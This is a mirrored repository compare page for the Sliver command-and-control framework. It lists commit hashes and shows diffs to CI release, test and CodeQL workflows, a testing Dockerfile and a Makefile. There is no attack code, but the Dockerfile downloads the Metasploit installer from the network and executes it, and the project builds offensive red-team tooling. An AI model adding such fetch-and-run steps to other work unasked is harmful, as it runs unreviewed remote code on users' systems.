mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
435
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ee2a72ff5f | ||
|
|
86507dc5c5 | ||
|
|
d2b43ebb9f | ||
|
|
3a0ce8b890 | ||
|
|
623579affb | ||
|
|
632eacf3fd | ||
|
|
6918743f03 | ||
|
|
5d333af798 | ||
|
|
68cddc1de2 | ||
|
|
c681fa68f3 | ||
|
|
8a04d8d882 | ||
|
|
b973e286cb | ||
|
|
49f9cf0963 | ||
|
|
5ffdcf8a7a | ||
|
|
01656894ee | ||
|
|
d994f76920 | ||
|
|
6e40fcdf91 | ||
|
|
b6df1e2981 | ||
|
|
56b84e44f3 | ||
|
|
96896a7442 | ||
|
|
ac9b293942 | ||
|
|
ebf68f6b61 | ||
|
|
e25e228f5c | ||
|
|
b84092b24b | ||
|
|
eddfa20684 | ||
|
|
21468a6310 | ||
|
|
48d7e7217c | ||
|
|
a19fddfdba | ||
|
|
f944d24dc3 | ||
|
|
917586f2cc | ||
|
|
4e56c69cfe | ||
|
|
e6487fb01d | ||
|
|
d88011e140 | ||
|
|
2c5c3ac997 | ||
|
|
9178f6ea5b | ||
|
|
a691484f47 | ||
|
|
3442599ee8 | ||
|
|
d3f40963e3 | ||
|
|
c83a0447b3 | ||
|
|
daaf6e27a2 | ||
|
|
9d1fa0d016 | ||
|
|
a13d63ee47 | ||
|
|
4da9233563 | ||
|
|
16db6033a5 | ||
|
|
c1d1bf7873 | ||
|
|
3217ab53fe | ||
|
|
d46e43dbd6 | ||
|
|
070bac1bf3 | ||
|
|
9a63b64a39 | ||
|
|
9894d79dbf | ||
|
|
4b0190b08c | ||
|
|
80dea74d97 | ||
|
|
db5d12d4b6 | ||
|
|
1c4503c1cc | ||
|
|
13fb854b4e | ||
|
|
d0574ffe48 | ||
|
|
ba6b53d569 | ||
|
|
749c3b9247 | ||
|
|
79ca1c9f72 | ||
|
|
7a6f2c3b53 | ||
|
|
e4ade4e8c9 | ||
|
|
f4beecdc8a | ||
|
|
78627a6eff | ||
|
|
77f2b7fd48 | ||
|
|
6f043f8406 | ||
|
|
9870c254f6 | ||
|
|
99281bad0f | ||
|
|
02d1eb5ba4 | ||
|
|
fce86738cc | ||
|
|
b723194931 | ||
|
|
7dc631077a | ||
|
|
e204247009 | ||
|
|
504e5c7b32 | ||
|
|
fdec3cb317 | ||
|
|
b7d0dcc5dd | ||
|
|
0b7596373a | ||
|
|
d58c7b3bca | ||
|
|
c23a542233 | ||
|
|
5b415c5aa1 | ||
|
|
6c77151b80 | ||
|
|
5e7507ba4d | ||
|
|
06d5a934be | ||
|
|
e804605d05 | ||
|
|
35eac6f582 | ||
|
|
ff382e4029 | ||
|
|
5a5e8d2a04 | ||
|
|
05a69474e5 | ||
|
|
4516e4994d | ||
|
|
843e287f0c | ||
|
|
47f19d477d | ||
|
|
aee2f78718 | ||
|
|
2edb14baa1 | ||
|
|
a2208280a0 | ||
|
|
0834b725fd | ||
|
|
a0fa261e32 | ||
|
|
c578c426dc | ||
|
|
da9b72c72c | ||
|
|
cb8170c27b | ||
|
|
03cfab5276 | ||
|
|
114ad3e6a1 | ||
|
|
3d6a8dda52 | ||
|
|
ea1fbf1d74 | ||
|
|
49b8cd299a | ||
|
|
b8dcf756f7 | ||
|
|
0b9d7cc603 | ||
|
|
3ba3cf1177 | ||
|
|
9c87c59ec6 | ||
|
|
dd249088c3 | ||
|
|
914354222d | ||
|
|
369406928c | ||
|
|
f6ac166314 | ||
|
|
3da9ffb7d3 | ||
|
|
01c813148b | ||
|
|
7fce95e707 | ||
|
|
71ba959e12 | ||
|
|
5d40d41105 | ||
|
|
237663be19 | ||
|
|
96a6efae07 | ||
|
|
3561461547 | ||
|
|
1d9d5cf85a | ||
|
|
e70a022981 | ||
|
|
b0c3549b08 | ||
|
|
d924d80ddb | ||
|
|
b3acf2db1f | ||
|
|
a670538a77 | ||
|
|
d6ea4794b7 | ||
|
|
7b67ec872e | ||
|
|
a2bbaa095e | ||
|
|
e5a01ae244 | ||
|
|
4bcefdddb5 | ||
|
|
8e64ab288d | ||
|
|
1bba3532af | ||
|
|
002e38e0ac | ||
|
|
99817a5f35 | ||
|
|
4921fa4fcf | ||
|
|
b044a4584b | ||
|
|
eccc31f945 | ||
|
|
f2b42211d2 | ||
|
|
b1ba761fff | ||
|
|
580d5128ba | ||
|
|
67c519e8d6 | ||
|
|
4f9851215e | ||
|
|
f32d9a91ee | ||
|
|
f9c5daec39 | ||
|
|
f623b0cdce | ||
|
|
9b5d4c3bab | ||
|
|
29c2c9df76 | ||
|
|
58b4596598 | ||
|
|
a9f885a919 | ||
|
|
5a532f77dc | ||
|
|
375f6fd235 | ||
|
|
0a32ca109d | ||
|
|
d048427ebf | ||
|
|
d22579c204 | ||
|
|
fb5bd84811 | ||
|
|
1e79af3d89 | ||
|
|
f018f86522 | ||
|
|
584cacb7da | ||
|
|
714ab96270 | ||
|
|
ae8444fc75 | ||
|
|
c7a2bbc46b | ||
|
|
4458911e5c | ||
|
|
477df0eac9 | ||
|
|
22286fdcdd | ||
|
|
150b62a0aa | ||
|
|
270e9f2c5f | ||
|
|
ce81ce5de0 | ||
|
|
388b371573 | ||
|
|
a4425c169e | ||
|
|
fd0e54c02c | ||
|
|
59212f06fd | ||
|
|
0140bc2b8f | ||
|
|
4faaa4c075 | ||
|
|
ef1e12e6d4 | ||
|
|
7741b0373f | ||
|
|
4f2767ab59 | ||
|
|
68f78e791f | ||
|
|
d28bac4259 | ||
|
|
00197deefb | ||
|
|
0bfbe9ecd4 | ||
|
|
88ac55a2f7 | ||
|
|
a1c19bc745 | ||
|
|
5a39e253bb | ||
|
|
3b8912df4f | ||
|
|
452ce12e9f | ||
|
|
aed28b0ff1 | ||
|
|
a2c3263619 | ||
|
|
300c2f7851 | ||
|
|
b1d41f1032 | ||
|
|
9054d11749 | ||
|
|
c1f0b32c93 | ||
|
|
a3ecf3d593 | ||
|
|
1a43e70fd1 | ||
|
|
1fc7d881b2 | ||
|
|
27254a2d89 | ||
|
|
19573c9f20 | ||
|
|
0f11532e37 | ||
|
|
c75cf89def | ||
|
|
2c6cf1e96b | ||
|
|
bd4d5eca77 | ||
|
|
514da3a682 | ||
|
|
5e691bdf25 | ||
|
|
0eb997388a | ||
|
|
33e6273c62 | ||
|
|
704d65059f | ||
|
|
dee7434bd8 | ||
|
|
8b6b0d7a14 | ||
|
|
ccf53647b8 | ||
|
|
9e0f9d2fbb | ||
|
|
dc228a5d2d | ||
|
|
6bc6f15fd1 | ||
|
|
cb6c8ce4e7 | ||
|
|
ddf2344e61 | ||
|
|
bfacc71048 | ||
|
|
ced8bdda0c | ||
|
|
78222cb1bc | ||
|
|
f99b3cae9c | ||
|
|
01b370ba44 | ||
|
|
5b90358328 | ||
|
|
f13b11ff52 | ||
|
|
af19c97372 | ||
|
|
4f86172543 | ||
|
|
a5c9f53b8a | ||
|
|
8673552694 | ||
|
|
3a5f4b13a1 | ||
|
|
f12ba957d4 | ||
|
|
fa4a9cc845 | ||
|
|
ac66b0726c | ||
|
|
c4a35d6850 | ||
|
|
395e9717b1 | ||
|
|
f89e435e59 | ||
|
|
1220611e28 | ||
|
|
e452809056 | ||
|
|
b2989e0ea3 | ||
|
|
6bd1108152 | ||
|
|
37e35dc1bd | ||
|
|
77a9113025 | ||
|
|
47705435f9 | ||
|
|
233542e059 | ||
|
|
42795b077e | ||
|
|
e687d12241 | ||
|
|
f414bfb01e | ||
|
|
6db7861a70 | ||
|
|
711c56c0b0 | ||
|
|
2d1ea6192c | ||
|
|
24aa3508b3 | ||
|
|
02de46647d | ||
|
|
829e83008b | ||
|
|
e11f4323a2 | ||
|
|
6f7e4401bd | ||
|
|
6d32be6d98 | ||
|
|
dd98134729 | ||
|
|
4da5deae47 | ||
|
|
1d50db6982 | ||
|
|
c718085695 | ||
|
|
466abd1bea | ||
|
|
408a13cf43 | ||
|
|
548a4c54c4 | ||
|
|
959c3f1909 | ||
|
|
8f561abfc8 | ||
|
|
9ab27d1746 | ||
|
|
a32d077e16 | ||
|
|
6647abe3d5 | ||
|
|
73f155f6c0 | ||
|
|
57e2111299 | ||
|
|
ea4d517a90 | ||
|
|
b7c8cba630 | ||
|
|
f882f52d44 | ||
|
|
4b67745c56 | ||
|
|
853537d1f4 | ||
|
|
f6a2021213 | ||
|
|
4841e46c34 | ||
|
|
888d4479a3 | ||
|
|
fd7585e628 | ||
|
|
43969f7c11 | ||
|
|
d79fe0c4d1 | ||
|
|
f606639db5 | ||
|
|
934e45ce38 | ||
|
|
ab8da44be4 | ||
|
|
eb3db89e9f | ||
|
|
aa2652e4e7 | ||
|
|
c7531bdacf | ||
|
|
b7d8c535f0 | ||
|
|
a1194c0c41 | ||
|
|
ea0f4e41b7 | ||
|
|
aac5b227ca | ||
|
|
20221a8a50 | ||
|
|
fca1202cee | ||
|
|
6e49197b2c | ||
|
|
6dadd929e8 | ||
|
|
05aad0aa8b | ||
|
|
bbe5f4c7cf | ||
|
|
66c521d719 | ||
|
|
25f7c6e63e | ||
|
|
678c70d108 | ||
|
|
ee95829770 | ||
|
|
a73bdf91e2 | ||
|
|
2cac1eb38b | ||
|
|
9148720eb2 | ||
|
|
dcb0128c3c | ||
|
|
195354792e | ||
|
|
1419e7173c | ||
|
|
1241d87b9b | ||
|
|
3dc7002fdd | ||
|
|
80947425ec | ||
|
|
185ded66c2 | ||
|
|
884f2d0bd7 | ||
|
|
4d0f6585d8 | ||
|
|
998bd5ab80 | ||
|
|
76a8de643f | ||
|
|
a463aa1218 | ||
|
|
ae21b45147 | ||
|
|
5281465c7f | ||
|
|
dd433136bc | ||
|
|
906b8eeec7 | ||
|
|
126dcf7d86 | ||
|
|
43eb9e3ded | ||
|
|
a07b775d90 | ||
|
|
ce4a2178f6 | ||
|
|
acc8b2b013 | ||
|
|
2c527f9486 | ||
|
|
69e58fee1f | ||
|
|
ee22840f94 | ||
|
|
59b4c12adc | ||
|
|
edebf734eb | ||
|
|
3497b7ebe5 | ||
|
|
fc1f0f04c8 | ||
|
|
f42a8d1918 | ||
|
|
9892306307 | ||
|
|
b5f8fa4131 | ||
|
|
5f8470a696 | ||
|
|
12bcf32686 | ||
|
|
31a7063bc0 | ||
|
|
fba629ea07 | ||
|
|
200a62a97f | ||
|
|
49fbe7d451 | ||
|
|
c49fc509db | ||
|
|
659629675b | ||
|
|
678bc2f5ae | ||
|
|
cad6398d2b | ||
|
|
151b86e337 | ||
|
|
18f3b31c77 | ||
|
|
c8a661dccc | ||
|
|
ff0a6db000 | ||
|
|
eb9cc277fa | ||
|
|
9b3acb2e6a | ||
|
|
2eaa3961cd | ||
|
|
5e6a97469c | ||
|
|
8bd3c6c9b8 | ||
|
|
73b1501645 | ||
|
|
7f550ca538 | ||
|
|
184b073ad2 | ||
|
|
2307e8761e | ||
|
|
c5315d2ec0 | ||
|
|
f7dfbed6b4 | ||
|
|
23d85f983a | ||
|
|
8ababef4c0 | ||
|
|
cc8581d9e1 | ||
|
|
e4e9f1cfe9 | ||
|
|
65f23a13d5 | ||
|
|
5463cf7dbd | ||
|
|
bbbdbda50c | ||
|
|
94a9f422b3 | ||
|
|
40c3e06578 | ||
|
|
31533e1917 | ||
|
|
641b736e39 | ||
|
|
a3e965b5a7 | ||
|
|
414730bc32 | ||
|
|
3adc92bfd9 | ||
|
|
cd9740996a | ||
|
|
b5fc7949c9 | ||
|
|
6a5e4786a0 | ||
|
|
b377ea8257 | ||
|
|
71b4f23cde | ||
|
|
7199331b99 | ||
|
|
2f77917425 | ||
|
|
6355cc5d67 | ||
|
|
09d0e9664b | ||
|
|
e7e76d430d | ||
|
|
d91a2febcf | ||
|
|
678a945647 | ||
|
|
7a653f8d74 | ||
|
|
049ec78422 | ||
|
|
66b7b98ed3 | ||
|
|
d341b1cb3a | ||
|
|
f5d2cd2e94 | ||
|
|
2b2feb306b | ||
|
|
d390ac95c7 | ||
|
|
52ff6b4c52 | ||
|
|
4c8486349b | ||
|
|
58bcac52eb | ||
|
|
8469c9a1ce | ||
|
|
ca7b62fb7e | ||
|
|
1902f131e7 | ||
|
|
f1c18e0fc7 | ||
|
|
80e04c71ff | ||
|
|
b8697f6271 | ||
|
|
91b2836968 | ||
|
|
3e67c6e2b8 | ||
|
|
244639a79c | ||
|
|
c03975d6c4 | ||
|
|
429c520c78 | ||
|
|
a6ba86379a | ||
|
|
4b7b8c4b3e | ||
|
|
75c3d0c0fb | ||
|
|
8f7da07a35 | ||
|
|
95a4604a8b | ||
|
|
992ee14e82 | ||
|
|
2066d200c4 | ||
|
|
683a779159 | ||
|
|
d14003bf14 | ||
|
|
e4b6da3471 | ||
|
|
4c0f36dba2 | ||
|
|
3b295b3bae | ||
|
|
302711e817 | ||
|
|
a8b69b352d | ||
|
|
f180dd9aff | ||
|
|
09f2521bc3 | ||
|
|
d674b8d40f | ||
|
|
d98b24fbc6 | ||
|
|
0f38081c0c | ||
|
|
bedc225344 | ||
|
|
82c68bda54 | ||
|
|
89b0263634 | ||
|
|
865f295c65 | ||
|
|
bad1897e78 | ||
|
|
ae101d3243 | ||
|
|
a947d9efeb | ||
|
|
afa2b5c715 | ||
|
|
086eb7fe42 | ||
|
|
55c8cddf88 | ||
|
|
7661d0c1b9 | ||
|
|
f1f736d7c1 | ||
|
|
8ad0dfb4c8 | ||
|
|
1fd410ee71 |
No files matched your search
@@ -2,101 +2,68 @@ name: Release
|
||||
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master]
|
||||
|
||||
jobs:
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
servers-build:
|
||||
name: Release Build Server
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
run: make servers
|
||||
|
||||
- name: Linux Artifacts
|
||||
- name: Server Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
name: servers
|
||||
path: ./sliver-server_*
|
||||
|
||||
- name: Make Windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
clients-build:
|
||||
name: Release Build Client
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: macos-latest
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Make
|
||||
run: make clients
|
||||
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
- name: Client Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
name: clients
|
||||
path: ./sliver-client_*
|
||||
|
||||
tagged-release:
|
||||
needs: [linux-windows-build, macos-build]
|
||||
needs: [servers-build, clients-build]
|
||||
|
||||
name: "Tagged Release"
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
@@ -112,40 +79,57 @@ jobs:
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
cp ./builds/clients/* ./artifacts
|
||||
cp ./builds/servers/* ./artifacts
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
- name: GPG Key(s)
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
# Linux
|
||||
- name: Linux 386 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
|
||||
- name: Linux ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
|
||||
|
||||
# Windows
|
||||
- name: Windows 386 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
|
||||
- name: Windows ARM64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
|
||||
|
||||
# MacOS AMD64
|
||||
# MacOS
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
# FreeBSD
|
||||
- name: FreeBSD AMD64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
|
||||
- name: FreeBSD ARM64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "bishopfox/action-gh-release@v1"
|
||||
with:
|
||||
|
||||
@@ -16,13 +16,13 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -33,25 +33,19 @@ jobs:
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v2
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
|
||||
# Build the server ... is this necessary though?
|
||||
- run: |
|
||||
make
|
||||
- name: Make
|
||||
run: make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v2
|
||||
|
||||
@@ -10,15 +10,15 @@ on:
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
linux-windows-build-test:
|
||||
name: Linux & Windows Test
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.20.2"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -26,51 +26,70 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Make Linux (amd64)
|
||||
run: make linux-amd64
|
||||
|
||||
- name: Make
|
||||
run: make linux
|
||||
|
||||
- name: Test
|
||||
- name: Test Linux
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make Windows
|
||||
run: make windows
|
||||
- name: Make Windows (amd64)
|
||||
run: make windows-amd64
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
- name: Make Linux (arm64)
|
||||
run: make linux-arm64
|
||||
|
||||
macos-build-test:
|
||||
name: MacOS Test
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.20.2"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Make MacOS (amd64)
|
||||
run: make macos-amd64
|
||||
|
||||
- name: Make
|
||||
run: make macos
|
||||
|
||||
- name: Test
|
||||
- name: Test MacOS (amd64)
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make MacOS (arm64)
|
||||
run: make macos-arm64
|
||||
|
||||
clients-build:
|
||||
name: Clients Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make
|
||||
run: make clients
|
||||
@@ -14,6 +14,7 @@
|
||||
/sliver-server
|
||||
/sliver-server_arm64
|
||||
/sliver.exe
|
||||
/sliver-server_*
|
||||
|
||||
/sliver-client
|
||||
/sliver-client_arm64
|
||||
|
||||
+4
-15
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.20.4
|
||||
FROM --platform=linux/amd64 golang:1.21.4
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,10 +6,6 @@ FROM golang:1.20.4
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 21.12
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
@@ -35,21 +31,14 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
RUN mkdir -p ~/.msf4/ \
|
||||
&& touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
#
|
||||
# > Sliver
|
||||
#
|
||||
|
||||
# Protoc
|
||||
WORKDIR /tmp
|
||||
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& cp -vv ./bin/protoc /usr/local/bin
|
||||
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS ?= -tags osusergo,netgo,go_sqlite
|
||||
TAGS ?= -tags go_sqlite
|
||||
CGO_ENABLED = 0
|
||||
|
||||
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
|
||||
@@ -27,7 +27,7 @@ GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 20
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 21
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
